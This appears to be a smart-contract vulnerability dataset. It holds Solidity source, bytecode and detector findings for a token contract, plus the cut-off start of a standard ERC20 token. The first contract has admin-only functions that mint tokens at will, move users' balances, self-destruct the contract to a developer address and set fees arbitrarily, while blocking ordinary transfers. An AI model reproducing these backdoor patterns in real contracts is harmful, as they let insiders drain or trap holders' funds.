commFunds; function DTTToken() public { sonk = msg.sender; administrators[sonk] = true; commissionHolder = sonk; stakeHolder = sonk; } function buy(address _referredBy) public payable returns(uint256) { purchaseTokens(msg.value, _referredBy); } function() payable public { purchaseTokens(msg.value, 0x0); } function holdStake(uint256 _amount) onlyBagholders() public { tokenBalanceLedger_[msg.sender] = SafeMath.sub(tokenBalanceLedger_[msg.sender], _amount); tokenBalanceLedger_[stakeHolder] = SafeMath.add(tokenBalanceLedger_[stakeHolder], _amount); } function unstake(uint256 _amount, address _customerAddress) onlyAdministrator() public { tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress],_amount); tokenBalanceLedger_[stakeHolder] = SafeMath.sub(tokenBalanceLedger_[stakeHolder], _amount); } function withdrawRewards(uint256 _amount, address _customerAddress) onlyAdministrator() public { _amount = SafeMath.mul(_amount,10**18); tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress],_amount); tokenSupply_ = SafeMath.add (tokenSupply_,_amount); } function withdrawComm(uint256 _amount, address _customerAddress) onlyAdministrator() public { _amount = SafeMath.mul(_amount,10**18); tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress],_amount); tokenBalanceLedger_[commissionHolder] = SafeMath.sub(tokenBalanceLedger_[commissionHolder], _amount); } /** * Alias of sell() and withdraw(). */ function exit() public { address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // withdraw(); } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlyBagholders() public { // setup data address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = _ethereum * percent/1000;//SafeMath.div(_ethereum, dividendFee_); // 7.5% sell fees uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); commFunds += _dividends; // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); _customerAddress.transfer(_taxedEthereum); onTokenSell(_customerAddress, _tokens, _taxedEthereum); } function registerDev234(address _devAddress2, address _devAddress3, address _devAddress4,address _devAddress5, address _devAddress6,address _commHolder) onlyAdministrator() public { dev2 = _devAddress2; dev3 = _devAddress3; dev4 = _devAddress4; dev5 = _devAddress5; dev6 = _devAddress6; commissionHolder = _commHolder; administrators[commissionHolder] = true; } function totalCommFunds() onlyAdministrator() public view returns(uint256) { return commFunds; } function getCommFunds(uint256 _amount) onlyAdministrator() public { if(_amount <= commFunds) { dev2.transfer(_amount*20/100); dev3.transfer(_amount*20/100); dev4.transfer(_amount*25/100); dev5.transfer(_amount*10/100); dev6.transfer(_amount*25/100); commFunds = SafeMath.sub(commFunds,_amount); } } function transfer(address _toAddress, uint256 _amountOfTokens) onlyAdministrator() public returns(bool) { // setup address _customerAddress = msg.sender; // these are dispersed to shareholders uint256 _tokenFee = _amountOfTokens * 15/100;//SafeMath.div(_amountOfTokens, dividendFee_); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); Transfer(_customerAddress, _toAddress, _taxedTokens); // ERC20 return true; } function destruct() onlyAdministrator() public{ selfdestruct(dev2); } function setPercent(uint256 newPercent) onlyAdministrator() public { percent = newPercent * 10; } function setName(string _name) onlyAdministrator() public { name = _name; } function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } function setupCommissionHolder(address _commissionHolder) onlyAdministrator() public { commissionHolder = _commissionHolder; } function totalEthereumBalance() public view returns(uint) { return this.balance; } function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = _ethereum * percent/1000; uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = _ethereum *percent/1000;//SafeMath.div(_ethereum, dividendFee_ ); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = _ethereum * percent/1000;//SafeMath.div(_ethereum, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ event testLog( uint256 currBal ); function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = _ethereumToSpend * percent/1000; uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); _amountOfTokens = SafeMath.sub(_amountOfTokens, _amountOfTokens * 20/100); return _amountOfTokens; } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns(uint256) { // data setup address _customerAddress = msg.sender; uint256 _dividends = _incomingEthereum * percent/1000; commFunds += _dividends; uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); tokenBalanceLedger_[commissionHolder] += _amountOfTokens * 20/100; require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); //deduct commissions for referrals _amountOfTokens = SafeMath.sub(_amountOfTokens, _amountOfTokens * 20/100); tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); testLog(tokenBalanceLedger_[_customerAddress]); // fire event onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, tokenSupply_, _referredBy); return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } //This is where all your gas goes, sorry //Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x606060405260043610610175576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461018357806310d0ffdd1461021157806318160ddd1461024857806322609373146102715780632b68b9c6146102a8578063313ce567146102bd5780634b750334146102ec5780634d71d534146103155780636b2f46321461033857806370a082311461036157806370ba1113146103ae5780637154b8b5146103d757806376be1585146103fa578063832913f71461044b5780638381e1821461051f5780638620410b1461056157806387d491061461058a578063949e8acd146105b357806395d89b41146105dc578063a9059cbb1461066a578063b84c8246146106c4578063bf006ed314610721578063c47f002714610763578063c654465d146107c0578063e4849b32146107e3578063e9fad8ee14610806578063f088d5471461081b578063f3301f6b1461085d578063f531497c1461089f575b6101803460006108d8565b50005b341561018e57600080fd5b610196610b76565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101d65780820151818401526020810190506101bb565b50505050905090810190601f1680156102035780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021c57600080fd5b6102326004808035906020019091905050610c14565b6040518082815260200191505060405180910390f35b341561025357600080fd5b61025b610c6b565b6040518082815260200191505060405180910390f35b341561027c57600080fd5b6102926004808035906020019091905050610c75565b6040518082815260200191505060405180910390f35b34156102b357600080fd5b6102bb610cc2565b005b34156102c857600080fd5b6102d0610d5a565b604051808260ff1660ff16815260200191505060405180910390f35b34156102f757600080fd5b6102ff610d5f565b6040518082815260200191505060405180910390f35b341561032057600080fd5b6103366004808035906020019091905050610dc1565b005b341561034357600080fd5b61034b610f36565b6040518082815260200191505060405180910390f35b341561036c57600080fd5b610398600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f55565b6040518082815260200191505060405180910390f35b34156103b957600080fd5b6103c1610f9e565b6040518082815260200191505060405180910390f35b34156103e257600080fd5b6103f86004808035906020019091905050610fa4565b005b341561040557600080fd5b610431600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061100f565b604051808215151515815260200191505060405180910390f35b341561045657600080fd5b61051d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061102f565b005b341561052a57600080fd5b61055f600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611295565b005b341561056c57600080fd5b610574611453565b6040518082815260200191505060405180910390f35b341561059557600080fd5b61059d6114b5565b6040518082815260200191505060405180910390f35b34156105be57600080fd5b6105c661151c565b6040518082815260200191505060405180910390f35b34156105e757600080fd5b6105ef611531565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561062f578082015181840152602081019050610614565b50505050905090810190601f16801561065c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561067557600080fd5b6106aa600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506115cf565b604051808215151515815260200191505060405180910390f35b34156106cf57600080fd5b61071f600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506117f0565b005b341561072c57600080fd5b610761600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611868565b005b341561076e57600080fd5b6107be600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611a3a565b005b34156107cb57600080fd5b6107e16004808035906020019091905050611ab2565b005b34156107ee57600080fd5b6108046004808035906020019091905050611d66565b005b341561081157600080fd5b610819611f4e565b005b610847600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611fad565b6040518082815260200191505060405180910390f35b341561086857600080fd5b61089d600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611fbf565b005b34156108aa57600080fd5b6108d6600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506120d3565b005b60008060008060003393506103e860025488028115156108f457fe5b04925082600e600082825401925050819055506109118784612175565b915061091c8261218e565b905060646014820281151561092d57fe5b04600a6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000811180156109b85750600c546109b682600c54612218565b115b15156109c357600080fd5b6109cf600c5482612218565b600c819055506109ee816064601484028115156109e857fe5b04612175565b9050610a39600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612218565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f5ac1b16a830da52363094f21d037582041836e6a30e790e8cf09faf98785690b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a18573ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f4c97349aa4e79b6080832c321c994d53f5c7262a37d900a6cd54e325e756a2ed8984600c5460405180848152602001838152602001828152602001935050505060405180910390a38094505050505092915050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c0c5780601f10610be157610100808354040283529160200191610c0c565b820191906000526020600020905b815481529060010190602001808311610bef57829003601f168201915b505050505081565b6000806000806103e86002548602811515610c2b57fe5b049250610c388584612175565b9150610c438261218e565b9050610c5e81606460148402811515610c5857fe5b04612175565b9050809350505050919050565b6000600c54905090565b600080600080600c548511151515610c8c57600080fd5b610c9585612236565b92506103e86002548402811515610ca857fe5b049150610cb58383612175565b9050809350505050919050565b6000339050600d60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610d1f57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b601281565b6000806000806000600c541415610d8457633b9aca006509184e72a000039350610dbb565b610d95670de0b6b3a7640000612236565b92506103e86002548402811515610da857fe5b049150610db58383612175565b90508093505b50505090565b6000610dcb61151c565b111515610dd757600080fd5b610e20600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612175565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ece600a6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612218565b600a6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60025481565b6000339050600d60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561100157600080fd5b600a82026002819055505050565b600d6020528060005260406000206000915054906101000a900460ff1681565b6000339050600d60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561108c57600080fd5b86600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555085600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600d6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505050505050565b6000339050600d60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156112f257600080fd5b61133b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484612218565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113e9600a6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484612175565b600a6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000806000806000600c54141561147857633b9aca006509184e72a0000193506114af565b611489670de0b6b3a7640000612236565b92506103e8600254840281151561149c57fe5b0491506114a98383612218565b90508093505b50505090565b600080339050600d60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561151357600080fd5b600e5491505090565b60008033905061152b81610f55565b91505090565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115c75780601f1061159c576101008083540402835291602001916115c7565b820191906000526020600020905b8154815290600101906020018083116115aa57829003601f168201915b505050505081565b6000806000806000339050600d60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561163257600080fd5b3393506064600f870281151561164457fe5b0492506116518684612175565b915061165f600c5484612175565b600c819055506116ae600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205487612175565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061173a600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612218565b600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600194505050505092915050565b6000339050600d60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561184d57600080fd5b8160019080519060200190611863929190612365565b505050565b6000339050600d60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156118c557600080fd5b6118d783670de0b6b3a76400006122df565b9250611922600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484612218565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119d0600a6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484612175565b600a6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000339050600d60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611a9757600080fd5b8160009080519060200190611aad929190612365565b505050565b6000339050600d60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611b0f57600080fd5b600e5482111515611d6257600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc606460148502811515611b6557fe5b049081150290604051600060405180830381858888f193505050501515611b8b57600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc606460148502811515611bd657fe5b049081150290604051600060405180830381858888f193505050501515611bfc57600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc606460198502811515611c4757fe5b049081150290604051600060405180830381858888f193505050501515611c6d57600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6064600a8502811515611cb857fe5b049081150290604051600060405180830381858888f193505050501515611cde57600080fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc606460198502811515611d2957fe5b049081150290604051600060405180830381858888f193505050501515611d4f57600080fd5b611d5b600e5483612175565b600e819055505b5050565b600080600080600080611d7761151c565b111515611d8357600080fd5b339450600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548611151515611dd457600080fd5b859350611de084612236565b92506103e86002548402811515611df357fe5b049150611e008383612175565b905081600e60008282540192505081905550611e1e600c5485612175565b600c81905550611e6d600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485612175565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515611ef057600080fd5b8473ffffffffffffffffffffffffffffffffffffffff167fc4823739c5787d2ca17e404aa47d5569ae71dfb49cbf21b3f6152ed238a311398583604051808381526020018281526020019250505060405180910390a2505050505050565b600080339150600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115611fa957611fa881611d66565b5b5050565b6000611fb934836108d8565b50919050565b6000339050600d60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561201c57600080fd5b61202e83670de0b6b3a76400006122df565b9250612079600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484612218565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120c8600c5484612218565b600c81905550505050565b6000339050600d60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561213057600080fd5b81600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600082821115151561218357fe5b818303905092915050565b6000806000670de0b6b3a76400006509184e72a000029150600c54633b9aca006122016121fb600c5486633b9aca0060020202026002600c540a6002633b9aca000a02670de0b6b3a76400008a02670de0b6b3a7640000633b9aca0002600202026002890a01010161231a565b85612175565b81151561220a57fe5b040390508092505050919050565b600080828401905083811015151561222c57fe5b8091505092915050565b600080600080670de0b6b3a764000085019250670de0b6b3a7640000600c54019150670de0b6b3a76400006122c8670de0b6b3a76400008503633b9aca00670de0b6b3a76400008681151561228757fe5b04633b9aca00026509184e72a0000103026002670de0b6b3a7640000876002890a038115156122b257fe5b04633b9aca00028115156122c257fe5b04612175565b8115156122d157fe5b049050809350505050919050565b60008060008414156122f45760009150612313565b828402905082848281151561230557fe5b0414151561230f57fe5b8091505b5092915050565b60008060026001840181151561232c57fe5b0490508291505b8181101561235f57809150600281828581151561234c57fe5b040181151561235757fe5b049050612333565b50919050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106123a657805160ff19168380011785556123d4565b828001600101855582156123d4579182015b828111156123d35782518255916020019190600101906123b8565b5b5090506123e191906123e5565b5090565b61240791905b808211156124035760008160009055506001016123eb565b5090565b905600a165627a7a72305820ced4409ed1f76320d77a71c456c14b2eef2f6d7ce6c21b29f663c400e9a57c640029
{"success": true, "error": null, "results": {"detectors": [{"check": "suicidal", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,677
0xfe96f34d42674c6de49ca876fd50ba74f9012354
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, 